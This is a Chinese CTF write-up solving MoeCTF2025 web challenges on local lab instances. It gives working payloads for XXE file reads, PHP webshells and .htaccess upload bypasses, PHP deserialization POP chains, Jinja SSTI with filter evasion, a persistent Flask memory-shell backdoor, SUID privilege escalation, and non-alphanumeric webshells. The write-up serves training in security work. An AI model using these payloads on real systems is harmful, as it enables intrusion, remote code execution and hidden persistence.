MoeCTF2025 Web Wp 启动环境需要下载 WebSocket Reflector X 来映射到本地(西电CTF特供)
除了一些不喜欢的()都可以做
Week1 00 Web入门指北 下载txt文件,说要在控制台输入,那就F12开控制台,输入后回车即可
01 第一章 神秘的手镯 F12查看源码,可以发现有JS文件,打开发现flag
02 第二章 初识金曦玄轨 查看源码,可以发现让我们查看 /gloden_trail,由提示可知查看请求包,则打开网络再刷新即可看见flag
03 第三章 问剑石!篡天改命! 查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <script> async function testTalent ( ) { try { const response = await fetch ('/test_talent?level=B' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : JSON .stringify ({ manifestation : 'none' }) }); const data = await response.json (); document .getElementById ('result' ).textContent = data.result ; const glow = document .getElementById ('glow' ); if (data.result .includes ('流云状青芒' )) { glow.style .opacity = '1' ; } else { glow.style .opacity = '0' ; } if (data.flag ) { setTimeout (() => { alert (`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!` ); }, 500 ); } } catch (error) { alert ('玄轨连接中断!请检查灵枢...' ); } } </script>
发现你POST的时候会自带Level和manifestation,然后看题目有说 问剑石显现天赋:S,光芒:流云状青芒(flowing_azure_clouds)的异象,从而获得宗门重视! 直接更改发送即可
04 第四章 金曦破禁与七绝傀儡阵 (史)
第一关: stone_golem?key=xdsec 获得bW9lY3Rme0Mw
第二关:
1 2 3 4 5 POST /cloud_weaver HTTP/1.1 Host: 127.0.0.1:63473 declaration=织云阁=第一
获得bjZyNDd1MTQ3
第三关:
1 2 3 4 GET /shadow_stalker HTTP/1.1 Host: 127.0.0.1:63473 X-Forwarded-For:127.0.0.1
获得MTBuNV95MHVy
第四关:
更改User-Agent为moe browser 获得X2g3N1BfbDN2
第五关:
增加Cookie:user=xt 获得M2xfMTVfcjM0
第六关:
增加Referer:http://panshi/entry
获得bGx5X2gxOWgh
第七关:
1 2 3 4 PUT /void_rebirth HTTP/1.1 Host: 127.0.0.1:10929 新生!
获得fQ==
然后拼起来base64解码即可
1 2 3 bW9lY3Rme0MwbjZyNDd1MTQ3MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ== moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}
05 第五章 打上门来! 看到路径,想到路径穿越
06 第六章 藏经禁制?玄机初探! 直接爆破账号密码即可
07 第七章 灵蛛探穴与阴阳双生符 省流:有这样一个文件,它是一个存放在网站根目录下的纯文本文件,用于告知搜索引擎爬虫 哪些页面可以抓取,哪些页面不应被抓取。它是网站与搜索引擎之间的 “协议”,帮助网站管理爬虫的访问行为,保护隐私内容、节省服务器资源或引导爬虫优先抓取重要页面
可知是robots.txt
直接访问即可,然后发现flag.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ );$flag = getenv ('FLAG' );$a = $_GET ["a" ] ?? "" ;$b = $_GET ["b" ] ?? "" ;if ($a == $b ){ die ("error 1" ); } if (md5 ($a ) != md5 ($b )){ die ("error 2" ); } echo $flag ; error 1
==弱比较则输入 ?a=s878926199a&b=s155964671a
08 第八章 天衍真言,星图显圣 先交叉爆破发现admin登录成功
然后用成功的代码测试注入点,发现注入点在username,直接SQLMAP一把梭
手注一开始的代码可以为:
1 1‘ UNION ALL SELECT CONCAT(database(),1),NULL -- -
然后回显Welcome+xxx
剩下的根据题目来看就是简单的联合查询,也没有过滤什么其他的,以下为查表名命令
1 1 ' union select group_concat(table_name),NULL from information_schema.tables where table_schema = database()-- -
Moe笑传之猜猜爆 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 let randomNumber = Math .floor (Math .random ()*10000 ) + 1 ; const guesses = document .querySelector ('.guesses' );const lastResult = document .querySelector ('.lastResult' );const lowOrHi = document .querySelector ('.lowOrHi' );const guessBtn = document .getElementById ('guessBtn' );const guessField = document .getElementById ('guessField' );let guessCount = 1 ;let resetButton;function checkGuess ( ) { let userGuess = Number (guessField.value ); if (guessCount === 1 ) { guesses.textContent = '上次猜的数:' ; } guesses.textContent += userGuess + ' ' ; if (userGuess === randomNumber) { lastResult.textContent = '恭喜你!猜对了!' ; lastResult.style .backgroundColor = 'green' ; lowOrHi.textContent = '' ; guessField.disabled = true ; guessBtn.disabled = true ; fetch ('/flag' , {method : 'POST' }) .then (res => res.json ()) .then (data => { document .querySelector ('.flagResult' ).textContent = "FLAG: " + data.flag ; }); setGameOver (); } else { lastResult.textContent = '!!!游戏结束!!!' ; lastResult.style .backgroundColor = 'red' ; if (userGuess < randomNumber) { lowOrHi.textContent = '你刚才猜低了!' ; } else if (userGuess > randomNumber) { lowOrHi.textContent = '你刚才猜高了!' ; } guessField.disabled = true ; guessBtn.disabled = true ; setGameOver (); } guessCount++; guessField.value = '' ; guessField.focus (); } guessBtn.addEventListener ('click' , checkGuess); function setGameOver ( ) { resetButton = document .createElement ('button' ); resetButton.textContent = '开始新游戏' ; document .body .appendChild (resetButton); resetButton.addEventListener ('click' , resetGame); } function resetGame ( ) { guessCount = 1 ; const resetParas = document .querySelectorAll ('.resultParas p' ); for (let i = 0 ; i < resetParas.length ; i++) { resetParas[i].textContent = '' ; } resetButton.parentNode .removeChild (resetButton); guessField.disabled = false ; guessBtn.disabled = false ; guessField.value = '' ; guessField.focus (); lastResult.style .backgroundColor = 'white' ; randomNumber = Math .floor (Math .random ()*10000 ) + 1 ; }
查看源码,发现需要满足userGuess === randomNumber
不妨直接在控制台尝试
Week2 09 第九章 星墟禁制·天机问路 本来以为是SSRF,没想到是RCE的拼接
10 第十章 天机符阵 & 天机符阵 _revenge 上来随便输入一点可以看到报错信息:
1 2 3 4 5 <br /> <b>Warning</b>: DOMDocument::loadXML(): Start tag expected, '<' not found in Entity, line: 1 in <b>/var/www/html/chapter10.php</b> on line <b>17</b><br /> <阵枢>引魂玉</阵枢> <解析>未定义</解析> <输出>未定义</输出>
这看起来就是让我们输入XML文档,然后我们看到,有解析和输出标签,不如就用这两个包裹,就有了以下的EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <!DOCTYPE ANY [ <!ENTITY XXE SYSTEM "file:///var/www/html/flag.txt"> ]> <user> <输出> &XXE; </输出> <解析> 123 </解析> </user> <!-- <阵枢>引魂玉</阵枢> <解析> 123 </解析> <输出> flag:moectf{G00d_7o6_4nD_XX3_Unl0ck_St4r_S34l} </输出> -->
之后的天机符阵 _revenge应该是因为把flag.txt放在了html下导致可以直接访问的非预期,所以上面的就用不了了,在根目录读取即可
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE ANY [ <!ENTITY XXE SYSTEM "file:///flag.txt"> ]> <user> <输出> &XXE; </输出> <解析> 123 </解析> </user>
11 第十一章 千机变·破妄之眼 省流:HDdss看到了 GET 参数名由m,n,o,p,q
这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值 才能进入
看到这个省流,直接爆破顺序(猜测是重定向)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import itertoolsimport requestsurl = "http://127.0.0.1:36177/?" chars = ['m' , 'n' , 'o' , 'p' , 'q' ] perms = itertools.permutations(chars) for p in perms: query = '' .join(p) try : res = requests.get(url, params={query: query}, timeout=5 ) if res.history: print (f"[Redirected] query={query} " ) print (f"Final URL: {res.url} " ) except requests.exceptions.RequestException as e: print (f"Request failed for {query} : {e} " )
然后伪协议读取flag.php
php://filter/read=convert.base64-encode/resource=flag.php
(后端代码应该类似以下)
12 第十二章 玉魄玄关·破妄 1 2 3 4 <?php highlight_file (__FILE__ );@eval ($_POST ['cmd' ]);
蚁剑直接密码cmd即可连接,然后在/proc/1/environ也就是环境变量中找的flag
13 第十三章 通幽关·灵纹诡影 (不会图片上传喵)
14 第十四章 御神关·补天玉碑 .htaccess 文件或者称为分布式配置文件,它是 Apache 服务器中的配置文件,提供了针对每个目录设置不同的配置的方法。有些服务器在上传认证时没有拦截.htaccess文件上传,就会造成恶意用户利用上传 .htaccess 文件解析漏洞,来绕过验证进行上传WEBShell
上传.htaccess文件:
1 2 3 <FilesMatch "a.jpg "> SetHandler application/x-httpd-php </FilesMatch >
然后再上传a.jpg
1 2 3 <?php @eval ($_POST ['a' ]); ?>
蚁剑连接a.jpg所在目录即可
摸金偶遇FLAG,拼尽全力难战胜 把源码扔给ai分析写个脚本直接获取密码然后提交,控制台运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 fetch ("/get_challenge?count=9" ) .then (res => res.json ()) .then (data => { console .log ("获取挑战数据:" , data.numbers .join ('' )); return fetch ("/verify" , { method : "POST" , headers : { "Content-Type" : "application/json" }, body : JSON .stringify ({ answers : data.numbers , token : data.token }) }).then (res => res.json ()); }) .then (data => { if (data.correct ) { console .log ("FLAG: %c" + data.flag , "font-size: 16px; color: green;" ); alert ("FLAG: " + data.flag ); } else { console .log ("验证失败:" , data.message ); } }) .catch (err => console .error ("请求失败:" , err));
Week3 (这一周考点有点难评)
15 第十五章 归真关·竞时净魔 (也许不是下面的,希望被打脸,因为我电脑尝试条件竞争风扇就转的飞起)
不想做,看到这个图片上传的描述倒是可以提供一点思路(如果每个)
打条件竞争,看到《遇到不符合的立刻删除》,想到了经典函数unlink
通过不断上传文件和不断访问上传的文件,利用保存和删除之间的时间差,来达到一个竞争的效果
文件内容应为将shell写入另一个文件
但是这题的名字是重命名过的,有另一种条件竞争:(图片马)
上传后会进行重命名,所以我们就竞争上传后改名前的这一段时间进行操作,bp抓包多重复访问(访问使用文件包含)
1 <?php file_put_contents('../webshell.php', '<?php eval($_POST["cmd"]); ?>'); ?>
16 第十六章 昆仑星途 给了源文件,看看:
1 2 3 4 5 #!/bin/bash echo $FLAG > /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 30).txtunset FLAGapache2-foreground
index.php
1 2 3 4 5 <?php error_reporting (0 );highlight_file (__FILE__ );include ($_GET ['file' ] . ".php" );
php.ini
1 2 3 [PHP] allow_url_fopen = On allow_url_include = On
sh文件告诉我们,把环境变量里的flag输出到一个由字母和数字随机生成的文件里,然后立马删除FLAG,所以我们不能想当然的读flag.php这种的,需要看根目录
然后这边用了一个include
和allow_url_include = On
,可以使用data://
协议,include(data://)
只执行<?php ?>
中的内容,这样我们就可以查看根目录了
1 2 ?file=data://text/plain,<?php system("ls /" );?>
17 第十七章 星骸迷阵·神念重构 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );class A { public $a ; function __destruct ( ) { eval ($this ->a); } } if (isset ($_GET ['a' ])) { unserialize ($_GET ['a' ]); }
非常简单的反序列化,A销毁时触发__destruct()
执行eval函数
1 2 3 4 5 6 7 8 9 <?php class A { public $a = "system('cat /flag');" ; } $a = new A ();echo serialize ($a );
18 第十八章 万卷诡阁·功法连环 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );class PersonA { private $name ; function __wakeup ( ) { $name =$this ->name; $name ->work (); } } class PersonB { public $name ; function work ( ) { $name =$this ->name; eval ($name ); } } if (isset ($_GET ['person' ])) { unserialize ($_GET ['person' ]); }
加了个pop链的反序列化,PersonA::__wakeup()
会在反序列化后立即触发,PersonA->name
指向一个 PersonB
对象,PersonB->work()
会把 $this->name
当作 PHP 代码执行,最终 eval($this->name)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class PersonA { private $name ; function __construct ( ) { $b = new PersonB (); $b ->name = 'system("cat /flag*");' ; $this ->name = $b ; } } $obj = new PersonA ();echo urlencode (serialize ($obj ));
19 第十九章 星穹真相·补天归源 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php highlight_file (__FILE__ );class Person { public $name ; public $id ; public $age ; public function __invoke ($id ) { $name = $this ->id; $name ->name = $id ; $name ->age = $this ->name; } } class PersonA extends Person { public function __destruct ( ) { $name = $this ->name; $id = $this ->id; $age = $this ->age; $name ->$id ($age ); } } class PersonB extends Person { public function __set ($key , $value ) { $this ->name = $value ; } } class PersonC extends Person { public function __Check ($age ) { if (str_contains ($this ->age . $this ->name,"flag" )) { die ("Hacker!" ); } $name = $this ->name; $name ($age ); } public function __wakeup ( ) { $age = $this ->age; $name = $this ->id; $name ->age = $age ; $name ($this ); } } if (isset ($_GET ['person' ])){ $person = unserialize ($_GET ['person' ]); }
看revenge就好,因为这题写错了,不需要用到PersonB
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class Person { public $name ; public $id ; public $age ; }class PersonA extends Person { }class PersonB extends Person { }class PersonC extends Person { }$b = new Person ();$c = new PersonC ();$c ->name = "system" ; $c ->id = $b ;$a = new PersonA ();$a ->name = $c ;$a ->id = "__Check" ;$a ->age = "cat /flag" ;echo serialize ($a );?>
19 第十九章_revenge (为什么喜欢搞这个继承……)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php highlight_file (__FILE__ );class Person { public $name ; public $id ; public $age ; } class PersonA extends Person { public function __destruct ( ) { $name = $this ->name; $id = $this ->id; $name ->$id ($this ->age); } } class PersonB extends Person { public function __set ($key , $value ) { $this ->name = $value ; } public function __invoke ($id ) { $name = $this ->id; $name ->name = $id ; $name ->age = $this ->name; } } class PersonC extends Person { public function check ($age ) { $name =$this ->name; if ($age == null ) { die ("Age can't be empty." ); } else if ($name === "system" ) { die ("Hacker!" ); } else { var_dump ($name ($age )); } } public function __wakeup ( ) { $name = $this ->id; $name ->age = $this ->age; $name ($this ); } } if (isset ($_GET ['person' ])){ $person = unserialize ($_GET ['person' ]); }
我们可以看到,PersonC有个wakeup需要触发,但是从下面wakeup可以看到,需要满足$name
得到的是一个对象(类),但是结合POP链来看,wakeup属于开头,所以需要一个对象,来满足这个wakeup的触发,剩下的就是正常的POP链过程(wakeup -> invoke -> destruct -> check)
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class Person { public $name ; public $id ; public $age ; }class PersonA extends Person { }class PersonB extends Person { }class PersonC extends Person { }$b = new PersonB ();$c = new PersonC ();$c ->name = "passthru" ; $c ->id = $b ;$a = new PersonA ();$a ->name = $c ;$a ->id = "check" ;$a ->age = "env" ; echo serialize ($a );?>
Week4 20 第二十章 幽冥血海·幻语心魔 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from flask import Flask, request, render_template, render_template_stringapp = Flask(__name__) @app.route('/' ) def index (): if 'username' in request.args or 'password' in request.args: username = request.args.get('username' , '' ) password = request.args.get('password' , '' ) if not username or not password: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div> </div> """ else : login_msg = render_template_string(f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>欢迎: {username} </div></div> </div> """ ) else : login_msg = "" return render_template("index.html" , login_msg=login_msg) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
用render_template_string,一眼SSTI,随便挑个payload打一下就是了
1 {%print(lipsum['__=glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('so'[::-1])['po'+'pen']('cat /flag')|attr('read')())%}
21 第二十一章 往生漩涡·言灵死局 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from flask import Flask, request, render_template, render_template_stringapp = Flask(__name__) blacklist = ["__" , "global" , "{{" , "}}" ] @app.route('/' ) def index (): if 'username' in request.args or 'password' in request.args: username = request.args.get('username' , '' ) password = request.args.get('password' , '' ) if not username or not password: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div> </div> """ else : login_msg = render_template_string(f""" <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-success'>欢迎:{username} </div></div> </div> """ ) for blk in blacklist: if blk in username: login_msg = """ <div class="login-result" id="result"> <div class="result-title">阵法反馈</div> <div id="result-content"><div class='login-fail'>Error</div></div> </div> """ else : login_msg = "" return render_template("index.html" , login_msg=login_msg) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
就只是个revenge,编码一下就好了
1 2 3 4 {%print (lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )("so" [::-1 ])|attr("popen" )("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067" )|attr("read" )())%}
22 第二十二章 血海核心·千年手段 这是新生赛吗
他执行完之后这个返回值没有用到
最终返回的是这个login_msg
login_msg的内容是这个,所以是原样输出了,可以理解成这里是个盲ssti,没有回显的
https://blog.csdn.net/2301_80552914/article/details/144565609?sharetype=blog&shareId=144565609&sharerefer=APP
1 ?username={{url_for.__globals__['__builtins__' ]['eval' ]("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)" ,{'request' :url_for.__globals__['request' ],'app' :url_for.__globals__['current_app' ]})}}&password=1 &cmd=ls /
进去之后尝试cat /flag
没有回显,可以通过ls -al /
来看有没有权限,后面就是提权问题了,可以发现/bin下有一个rev.c
cat一下可以看到里面的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include #include int main (int argc, char **argv) { for (int i = 1 ; i + 1 < argc; i++) { if (strcmp ("--HDdss" , argv[i]) == 0 ) { execvp(argv[i + 1 ], &argv[i + 1 ]); } } return 0 ; }
又通过查看SUID命令:find / -user root -perm -4000 -print 2>/dev/null
1 /usr/bin/rev /usr/bin/mount /usr/bin/passwd /usr/bin/su /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/umount /usr/bin/newgrp /usr/bin/sudo
这里可以看到rev具有SUID权限,又结合rev.c的内容,因此可以有以下payload:
1 /bin/rev --HDdss cat /flag
这是…Webshell? 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );if (isset ($_GET ['shell' ])) { $shell = $_GET ['shell' ]; if (!preg_match ('/[A-Za-z0-9]/is' , $_GET ['shell' ])) { eval ($shell ); } else { echo "Hacker!" ; } } ?>
过滤了数字和字母,有点恶心,但是看这篇就够了
老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户
1 2 3 shell=%24__%3d(%27%3e%27%3e%27%3c%27)%2b(%27%3e%27%3e%27%3c%27)%3b%24_%3d%24__%2f%24__%3b%24____%3d%27%27%3b%24___%3d%e7%9e%b0%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%e5%92%8c%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%e5%92%8c%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%e7%9a%84%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%e5%8d%8a%3b%24____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%e5%a7%8b%3b%24____.%3d%7e(%24___%7b%24__%7d)%3b%24_____%3d_%3b%24___%3d%e4%bf%af%3b%24_____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%e7%9e%b0%3b%24_____.%3d%7e(%24___%7b%24__%7d)%3b%24___%3d%e6%ac%a1%3b%24_____.%3d%7e(%24___%7b%24_%7d)%3b%24___%3d%e7%ab%99%3b%24_____.%3d%7e(%24___%7b%24_%7d)%3b%24_%3d%24%24_____%3b%24____(%24_%5b%24__%5d)%3b 2=system('cat /flag.txt' );
这是…Webshell?_revenge 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );if (isset ($_GET ['shell' ])) { $shell = $_GET ['shell' ]; if (strlen ($shell ) > 30 ) { die ("error: shell length exceeded" ); } if (preg_match ("/[A-Za-z0-9_$]/" , $shell )) { die ("error: shell not allowed" ); } eval ($shell ); }
无字母数字webshell之提高篇 | 离别歌
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsurl = "http://127.0.0.1:46846/" params = { "shell" :"?><?=`. /???/????????[@-[]`;?>" } file = { 'file' :("1.txt" ,"#!/bin/sh\n cat /flag" ,"text/plain" ) } for i in range (1 ,20 ): res = requests.post(url=url, params=params, files=file) if "ctf" in res.text: print (res.text) break